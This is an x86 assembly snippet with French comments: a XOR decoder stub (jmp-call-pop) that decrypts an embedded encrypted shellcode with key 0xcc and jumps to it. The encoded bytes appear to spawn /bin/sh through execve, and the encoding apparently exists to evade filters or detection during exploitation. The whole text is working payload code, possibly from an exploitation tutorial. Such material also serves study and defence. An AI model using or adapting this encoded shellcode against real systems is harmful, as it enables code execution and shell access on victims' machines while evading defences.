section .text global _start _start: jmp short CALL ; On saute sur le CALL RET: pop esi ; On met dans esi l'adresse du shellcode LOOP: cmp byte[esi], 0x90 ; Est-on arrivé à la fin ? je SHELLCODE ; Si oui, le shellcode est decrypté, on peut jmp dessus xor byte[esi], 0xcc ; Sinon, on décrypte l'octet courant avec la clef 0xcc inc esi jmp LOOP CALL: call RET ; call empile la prochaine instruction, ici notre shellcode SHELLCODE: ; Notre shellcode crypté db 0xfd,0x0c,0x9c,0xa4,0xe3,0xe3,0xbf,0xa4,0xa4,0xe3,0xae,0xa5,0xa2,0x45,0x2f,0x9c,0x9f,0x45,0x2d,0x9c,0x9d,0x9f,0x7c,0xf7,0x9c,0x01,0x4c db 0x90 ; Octet de terminaison du shellcode